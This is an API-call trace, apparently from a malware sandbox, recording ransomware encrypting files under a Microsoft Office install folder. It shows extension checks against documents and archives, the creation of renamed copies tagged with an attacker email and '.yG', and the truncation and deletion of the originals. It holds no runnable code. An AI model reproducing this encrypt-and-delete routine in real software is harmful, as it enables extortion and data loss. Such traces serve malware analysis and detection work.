	[0156.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 0x220
	[0156.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.897] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.897] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.975] GetLastError () returned 0x0
	[0156.975] ReadFile (in: hFile=0x518, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x221, lpOverlapped=0x0) returned 1
	[0156.994] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x230, lpOverlapped=0x0) returned 1
	[0156.996] ReadFile (in: hFile=0x518, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.996] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0156.996] SetEndOfFile (hFile=0x4ac) returned 1
	[0156.996] CloseHandle (hObject=0x4ac) returned 1
	[0156.996] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.996] SetEndOfFile (hFile=0x518) returned 1
	[0157.012] CloseHandle (hObject=0x518) returned 1
	[0157.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1
	[0157.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.014] lstrlenW (lpString=".doc") returned 4
	[0157.014] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".docx") returned 5
	[0157.014] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0157.014] lstrlenW (lpString=".pdf") returned 4
	[0157.014] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".xls") returned 4
	[0157.014] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".xlsx") returned 5
	[0157.014] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0157.014] lstrlenW (lpString=".ppt") returned 4
	[0157.014] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.014] lstrlenW (lpString=".zip") returned 4
	[0157.014] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".rar") returned 4
	[0157.014] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".bz2") returned 4
	[0157.014] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0157.014] lstrlenW (lpString=".7z") returned 3
	[0157.015] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.015] lstrlenW (lpString=".dbf") returned 4
	[0157.015] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.015] lstrlenW (lpString=".1cd") returned 4
	[0157.015] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.015] lstrlenW (lpString=".jpg") returned 4
	[0157.015] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.015] lstrlenW (lpString=".doc") returned 4
	[0157.015] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0157.015] lstrlenW (lpString=".docx") returned 5
	[0157.015] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0157.015] lstrlenW (lpString=".pdf") returned 4
	[0157.015] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString=".xls") returned 4
	[0157.016] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString=".xlsx") returned 5
	[0157.016] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0157.016] lstrlenW (lpString=".ppt") returned 4
	[0157.016] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.016] lstrlenW (lpString=".zip") returned 4
	[0157.016] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString=".rar") returned 4
	[0157.016] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString=".bz2") returned 4
	[0157.016] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString=".7z") returned 3
	[0157.016] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.016] lstrlenW (lpString=".dbf") returned 4
	[0157.016] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.016] lstrlenW (lpString=".1cd") returned 4
	[0157.016] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0157.016] lstrlenW (lpString=".jpg") returned 4
	[0157.016] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0157.017] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.017] lstrlenW (lpString="AppVStreamMap.dll") returned 17
	[0157.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0157.018] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=194776) returned 1
	[0157.019] CloseHandle (hObject=0x518) returned 1
	[0157.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220
	[0157.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.019] lstrlenW (lpString=".doc") returned 4
	[0157.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.019] lstrlenW (lpString=".docx") returned 5
	[0157.020] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.020] lstrlenW (lpString=".pdf") returned 4
	[0157.020] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.020] lstrlenW (lpString=".xls") returned 4
	[0157.020] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.020] lstrlenW (lpString=".xlsx") returned 5
	[0157.020] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.020] lstrlenW (lpString=".ppt") returned 4
	[0157.020] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.020] lstrlenW (lpString=".zip") returned 4
	[0157.020] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.020] lstrlenW (lpString=".rar") returned 4
	[0157.020] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.020] lstrlenW (lpString=".bz2") returned 4
	[0157.020] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.020] lstrlenW (lpString=".7z") returned 3
	[0157.020] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.020] lstrlenW (lpString=".dbf") returned 4
	[0157.020] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.020] lstrlenW (lpString=".1cd") returned 4
	[0157.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.021] lstrlenW (lpString=".jpg") returned 4
	[0157.021] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.021] lstrlenW (lpString=".doc") returned 4
	[0157.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString=".docx") returned 5
	[0157.021] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.021] lstrlenW (lpString=".pdf") returned 4
	[0157.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString=".xls") returned 4
	[0157.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString=".xlsx") returned 5
	[0157.021] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.021] lstrlenW (lpString=".ppt") returned 4
	[0157.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.021] lstrlenW (lpString=".zip") returned 4
	[0157.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString=".rar") returned 4
	[0157.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.021] lstrlenW (lpString=".bz2") returned 4
	[0157.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.022] lstrlenW (lpString=".7z") returned 3
	[0157.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.022] lstrlenW (lpString=".dbf") returned 4
	[0157.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.022] lstrlenW (lpString=".1cd") returned 4
	[0157.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0157.022] lstrlenW (lpString=".jpg") returned 4
	[0157.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.022] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.022] lstrlenW (lpString="concrt140.dll") returned 13
	[0157.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0157.024] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=243520) returned 1
	[0157.024] CloseHandle (hObject=0x518) returned 1
	[0157.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220
	[0157.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.025] lstrlenW (lpString=".doc") returned 4
	[0157.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.025] lstrlenW (lpString=".docx") returned 5
	[0157.025] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.025] lstrlenW (lpString=".pdf") returned 4
	[0157.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.025] lstrlenW (lpString=".xls") returned 4
	[0157.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.025] lstrlenW (lpString=".xlsx") returned 5
	[0157.025] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.025] lstrlenW (lpString=".ppt") returned 4
	[0157.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString=".zip") returned 4
	[0157.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.026] lstrlenW (lpString=".rar") returned 4
	[0157.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.026] lstrlenW (lpString=".bz2") returned 4
	[0157.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.026] lstrlenW (lpString=".7z") returned 3
	[0157.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString=".dbf") returned 4
	[0157.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString=".1cd") returned 4
	[0157.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString=".jpg") returned 4
	[0157.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.026] lstrlenW (lpString=".doc") returned 4
	[0157.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString=".docx") returned 5
	[0157.027] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.027] lstrlenW (lpString=".pdf") returned 4
	[0157.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString=".xls") returned 4
	[0157.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString=".xlsx") returned 5
	[0157.027] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.027] lstrlenW (lpString=".ppt") returned 4
	[0157.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.027] lstrlenW (lpString=".zip") returned 4
	[0157.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString=".rar") returned 4
	[0157.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.027] lstrlenW (lpString=".bz2") returned 4
	[0157.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.027] lstrlenW (lpString=".7z") returned 3
	[0157.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.028] lstrlenW (lpString=".dbf") returned 4
	[0157.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.028] lstrlenW (lpString=".1cd") returned 4
	[0157.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0157.028] lstrlenW (lpString=".jpg") returned 4
	[0157.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.028] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0157.028] lstrlenW (lpString="Flattener.exe") returned 13
	[0157.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0157.030] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=45664) returned 1
	[0157.030] CloseHandle (hObject=0x518) returned 1
	[0157.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220
	[0157.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.031] lstrlenW (lpString=".doc") returned 4
	[0157.031] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0157.031] lstrlenW (lpString=".docx") returned 5
	[0157.031] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0157.031] lstrlenW (lpString=".pdf") returned 4
	[0157.031] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0157.031] lstrlenW (lpString=".xls") returned 4
	[0157.031] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0157.031] lstrlenW (lpString=".xlsx") returned 5
	[0157.031] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0157.031] lstrlenW (lpString=".ppt") returned 4
	[0157.031] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0157.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.031] lstrlenW (lpString=".zip") returned 4
	[0157.031] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0157.031] lstrlenW (lpString=".rar") returned 4
	[0157.031] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0157.031] lstrlenW (lpString=".bz2") returned 4
	[0157.470] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0157.470] lstrlenW (lpString=".7z") returned 3
	[0157.470] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0157.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.470] lstrlenW (lpString=".dbf") returned 4
	[0157.470] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0157.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.470] lstrlenW (lpString=".1cd") returned 4
	[0157.470] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0157.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.470] lstrlenW (lpString=".jpg") returned 4
	[0157.470] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0157.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.470] lstrlenW (lpString=".doc") returned 4
	[0157.470] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0157.470] lstrlenW (lpString=".docx") returned 5
	[0157.470] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0157.470] lstrlenW (lpString=".pdf") returned 4
	[0157.470] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0157.470] lstrlenW (lpString=".xls") returned 4
	[0157.470] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0157.470] lstrlenW (lpString=".xlsx") returned 5
	[0157.470] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0157.470] lstrlenW (lpString=".ppt") returned 4
	[0157.471] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0157.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.471] lstrlenW (lpString=".zip") returned 4
	[0157.471] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0157.471] lstrlenW (lpString=".rar") returned 4
	[0157.471] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0157.471] lstrlenW (lpString=".bz2") returned 4
	[0157.471] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0157.471] lstrlenW (lpString=".7z") returned 3
	[0157.471] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0157.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.471] lstrlenW (lpString=".dbf") returned 4
	[0157.471] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0157.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.471] lstrlenW (lpString=".1cd") returned 4
	[0157.471] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0157.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0157.471] lstrlenW (lpString=".jpg") returned 4
	[0157.471] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0157.471] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0157.472] lstrlenW (lpString="C2RInt.16.msi") returned 13
	[0157.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.475] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=12980224) returned 1
	[0157.475] CloseHandle (hObject=0x350) returned 1
	[0157.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0x220
	[0157.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
